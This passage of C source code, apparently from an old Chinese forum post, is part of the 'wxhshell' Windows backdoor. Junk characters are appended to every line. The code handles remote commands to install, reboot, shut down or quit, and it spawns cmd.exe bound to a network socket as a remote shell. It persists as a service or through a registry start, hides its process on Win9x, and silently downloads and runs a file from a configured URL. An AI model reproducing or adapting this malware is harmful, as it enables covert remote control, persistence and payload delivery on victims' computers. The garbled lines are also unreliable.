  // 帮助 A&_H%]{<:  
  case '?': { AcV 2l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'Ba Ba=  
    break; $/</J]2`;  
  } FbB^$ ]*  
  // 安装 h-u63b1"?  
  case 'i': {  m~"<k d  
    if(Install()) cLl=?^DB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^(7<L<H  
    else !4zSE,1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dz$GPA   
    break; v-u53Fy  
    } $%9.qy\8  
  // 卸载 EJ7}h?a]U_  
  case 'r': { ^eke,,~  
    if(Uninstall()) L+y}hb r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &P 'cf|KI  
    else [5>f{L!<T<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `tKrTq>  
    break; @R% n &  
    } vd`;(4i#X  
  // 显示 wxhshell 所在路径 GUyMo@g  
  case 'p': { Rn6;@Cw  
    char svExeFile[MAX_PATH]; "HI&dC  
    strcpy(svExeFile,"\n\r"); tA'O66.  
      strcat(svExeFile,ExeFile); KSsv~!3Yf  
        send(wsh,svExeFile,strlen(svExeFile),0); jA@jsv  
    break; C}grY5 :  
    } #&zNYzI  
  // 重启 }gw \w?/  
  case 'b': { k?-GI[@X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  WK;X6`  
    if(Boot(REBOOT)) ?v8.3EE1\o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .OI&Zm-  
    else { -0[?6.(s"  
    closesocket(wsh); yn=BO`sgW  
    ExitThread(0); @jb -u S  
    } pC<~\RR  
    break; 3e&H)  
    } NzB"u+jB  
  // 关机 JL0>-kg  
  case 'd': { *@6,Sr)_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )/VhkSXbG!  
    if(Boot(SHUTDOWN)) 67Z@Hg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5~GHAi  
    else { -Lh\]  
    closesocket(wsh); ia#Z$I6  
    ExitThread(0); tKtKW5n~  
    } F*" "n  
    break; wyF' B  
    } +u+|9@  
  // 获取shell  l* C>  
  case 's': { ^Pqj*k+F  
    CmdShell(wsh); XV)<Oavs  
    closesocket(wsh); jI})\5<R  
    ExitThread(0); <Uj~S  
    break; epw*Px  
  } 8 nCw1   
  // 退出 ^5j+O.zgN  
  case 'x': { zJC!MeN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F91uuSSL  
    CloseIt(wsh); f|U;4{ k  
    break; s|*0cK!K^  
    } )IN!CmpN  
  // 离开 &/XRiK1"0  
  case 'q': { GQ=Zp3[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OCR`1  
    closesocket(wsh); ~<[$.8*  
    WSACleanup(); byALM  
    exit(1); H?-Byi  
    break; 8:*   
        } (9gL  
  } P`ZzrN  
  } }J=>nL'B  
@ \{L%y%a0  
  // 提示信息 ybsQ[9_36  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C(N' +VV_  
} / =]h@m-`  
  } SP}!v5.  
(>~:1  
  return; `" BFvF#  
} H&$L1CrdL  
qUNK Dt  
// shell模块句柄 |"}F cS y  
int CmdShell(SOCKET sock) T22 4L.?  
{ ]O}TK^%  
STARTUPINFO si; O9%`G  
ZeroMemory(&si,sizeof(si)); r 7 dwj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z4CqHS~%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4oxAC; L  
PROCESS_INFORMATION ProcessInfo; ^,W;dM2  
char cmdline[]="cmd"; 5UWj#|t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -"Mq<XO&51  
  return 0; ].AAHu5  
} <Wd#HKIG>l  
o2AfMSt.  
// 自身启动模式  kwI[BF  
int StartFromService(void) j!1 :+H_L  
{ hA'i|;|ZYc  
typedef struct ^/'zU,  
{ 1 8*M  
  DWORD ExitStatus; *dmB Ji}  
  DWORD PebBaseAddress; SX/ E@vYb  
  DWORD AffinityMask; Os)jfKn2  
  DWORD BasePriority; 2A>s a3\  
  ULONG UniqueProcessId; SSr#MIS?  
  ULONG InheritedFromUniqueProcessId; &A/k{(.XP  
}   PROCESS_BASIC_INFORMATION; 4F[4H\>'  
7'IcgTWDZy  
PROCNTQSIP NtQueryInformationProcess; =()Vrk|uK  
D*T*of G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ms4~P6;%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r6WSX;K  
Z;v5L/;  
  HANDLE             hProcess; 'dXGd.V7u  
  PROCESS_BASIC_INFORMATION pbi; K_SURTys  
3@}rO~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zD"n7;  
  if(NULL == hInst ) return 0; rXh*nC  
r`dQ<U,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U# +$N3%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -uk}Fou  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u; ]4 ydp  
9~7s*3zI  
  if (!NtQueryInformationProcess) return 0; 0|i3#G_~  
pY~/<lzW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4D'AAr57  
  if(!hProcess) return 0; QsemN7B "<  
*F:)S"3_~e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u~pBMg ,  
MpNgp )%>  
  CloseHandle(hProcess); 8-|| Nh  
uM"_3je{W2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DXI{ jalL  
if(hProcess==NULL) return 0; <%Al(Lm0  
}Fq~!D Ee  
HMODULE hMod; f (Su  
char procName[255]; e 48N[p  
unsigned long cbNeeded; R:+cumHr  
Be$v%4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rv?4S`Z,x$  
3< 'bi}{  
  CloseHandle(hProcess); 1m~-q4D)V  
W9D~:>^YP  
if(strstr(procName,"services")) return 1; // 以服务启动 <5 )F9.$  
$-i(xnU/nl  
  return 0; // 注册表启动 drwD3jx0xv  
} 6*&$ha}X  
F tS"vJ\  
// 主模块 73p7]Uo  
int StartWxhshell(LPSTR lpCmdLine) ''Y'ZsQ;  
{ `R!%k]$  
  SOCKET wsl; L*#W?WMM v  
BOOL val=TRUE; *)Us   
  int port=0; 8a8CY,n{  
  struct sockaddr_in door; 31GqWN`>$  
M!Ua/g=u  
  if(wscfg.ws_autoins) Install(); \=qZ),bU@  
1c\KRK4  
port=atoi(lpCmdLine); C0gY  
agGgj>DDd  
if(port<=0) port=wscfg.ws_port; 8=MNzcA }  
PjG^L FX  
  WSADATA data; H~NK:qRzK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0-Ga2Go9  
=91wC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d-cW47  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e>T;'7HSS"  
  door.sin_family = AF_INET; po!bRk[4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zmc"  
  door.sin_port = htons(port); 3\ {?L  
O=5q<7PM.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;#?G2AAv  
closesocket(wsl); hiKyU! )Hv  
return 1; 5AbY 59  
} XiM d|D  
Q?2Gw N  
  if(listen(wsl,2) == INVALID_SOCKET) { 8-"D.b4  
closesocket(wsl); ]~:WGo=_  
return 1; a@S{ A5j  
} Kw7uUJR  
  Wxhshell(wsl); [G",Yky  
  WSACleanup(); 3;JF 5e\?x  
XI+GWNAmJ  
return 0; Y#t9DhzFWo  
X#>:9  
} /.WIED}>  
az1#:Go  
// 以NT服务方式启动 K (,MtY*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _Ie?{5$ng`  
{ qi*Dd[OG  
DWORD   status = 0; #62*'.B4  
  DWORD   specificError = 0xfffffff; Cq -URih  
wq7h8Z}l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V!Pe%.>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @u @,Edh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u]*f^/6Q  
  serviceStatus.dwWin32ExitCode     = 0; l@0${&n  
  serviceStatus.dwServiceSpecificExitCode = 0; Vq599M:)V  
  serviceStatus.dwCheckPoint       = 0; %Jji<M]  
  serviceStatus.dwWaitHint       = 0; fuU 3?SG  
Z*+y?5+L"P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z<iK(?@O  
  if (hServiceStatusHandle==0) return; .L~ NX/V  
dsn(h5,Q'  
status = GetLastError(); ,<BV5~T.|  
  if (status!=NO_ERROR) -W{ !`<8D  
{ 6j Rewj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q2P_37  
    serviceStatus.dwCheckPoint       = 0; PJO.^OsM  
    serviceStatus.dwWaitHint       = 0; tlM >=s'T  
    serviceStatus.dwWin32ExitCode     = status; TkR#Kzv380  
    serviceStatus.dwServiceSpecificExitCode = specificError; }9V0Cu1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^WrL   
    return; P(.XB`  
  } ;@*<M\O  
{%\@Z-9%q,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *nK4XgD  
  serviceStatus.dwCheckPoint       = 0; j 8)*'T  
  serviceStatus.dwWaitHint       = 0; ,e^~(ITaq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zu*7t<W  
} G{!(2D4!  
4F"%X &$  
// 处理NT服务事件,比如:启动、停止 C/4r3A/u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "A*;V  
{ {"2Hv;x  
switch(fdwControl) Mh2Zj  
{ TBIr^n>Z<k  
case SERVICE_CONTROL_STOP: VU1Wr|  
  serviceStatus.dwWin32ExitCode = 0; "g*`G<W_s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K 6yD64  
  serviceStatus.dwCheckPoint   = 0; ;jJ4H+8  
  serviceStatus.dwWaitHint     = 0; J|F!$m{  
  { ?[|A sw1t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "(iDUl  
  }  au]W*;x  
  return; $:yIe.F  
case SERVICE_CONTROL_PAUSE: vJ{F)0 K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F1S0C>N?5  
  break; 1(pv 3  
case SERVICE_CONTROL_CONTINUE: rp4{lHw>C/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aCJ-T8?'  
  break; @ULd~  
case SERVICE_CONTROL_INTERROGATE: (-],VB (+  
  break; IR{XL\WF  
}; [ahwJF#r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K_n GZ/`[  
}  9I:3  
3mHP=)  
// 标准应用程序主函数 lvRTy|%[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j]U~ZAn,K  
{ wv`ar>qVL  
b%KcS&-6  
// 获取操作系统版本 oWx^_wQ-=  
OsIsNt=GetOsVer(); Av0(zA2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rt7l`|g a+  
(Y*9 [hm  
  // 从命令行安装 -Mf-8zw8G  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^oYRB EIJH  
6XHM`S  
  // 下载执行文件 0Y'ow=8M  
if(wscfg.ws_downexe) { `t\\O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AiL80W^=d)  
  WinExec(wscfg.ws_filenam,SW_HIDE); iJeo d fC  
} dq%C~j{v  
})`z6d]3  
if(!OsIsNt) { )w5!'W4Z8  
// 如果时win9x,隐藏进程并且设置为注册表启动 P#MUS_x  
HideProc(); F vTswM>  
StartWxhshell(lpCmdLine); WFzM s  
} q{%~(A5*H  
else 5i}g$yjZ<  
  if(StartFromService()) upaQoX/C  
  // 以服务方式启动 ;<GK{8  
  StartServiceCtrlDispatcher(DispatchTable); {>PEl; ,-  
else B873UN  
  // 普通方式启动 @LFB}B  
  StartWxhshell(lpCmdLine); t&p I  
XwfR/4  
return 0; AyW=.  
}
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只看该作者 1 发表于: 2006-10-10
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